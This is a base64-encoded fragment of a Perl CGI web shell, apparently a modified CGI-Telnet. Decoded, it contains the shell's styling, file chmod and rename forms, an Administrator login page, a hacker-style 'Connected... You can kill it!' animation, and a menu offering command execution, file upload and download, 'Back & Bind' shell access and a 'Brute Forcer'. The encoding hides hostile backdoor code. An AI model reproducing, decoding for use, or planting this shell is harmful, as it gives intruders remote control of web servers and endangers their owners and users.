YUhlYWRlcg0KDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzExMTsNCn0NCg0KDQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZjk5MDA7DQp9DQoNCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCg0KY29kZSB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6ICNGRjAwQUE7DQp9DQoNCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNmZjk5MDA7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KfQ0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7DQoJYmFja2dyb3VuZDogIzQ0NDsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsNCn0NCi5ub3RsaW5lew0KCWJhY2tncm91bmQ6ICMxMTE7DQp9DQoubGluZXsNCgliYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovDQoJdmFyIGFqYXg9IiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2JiMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNiYjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRz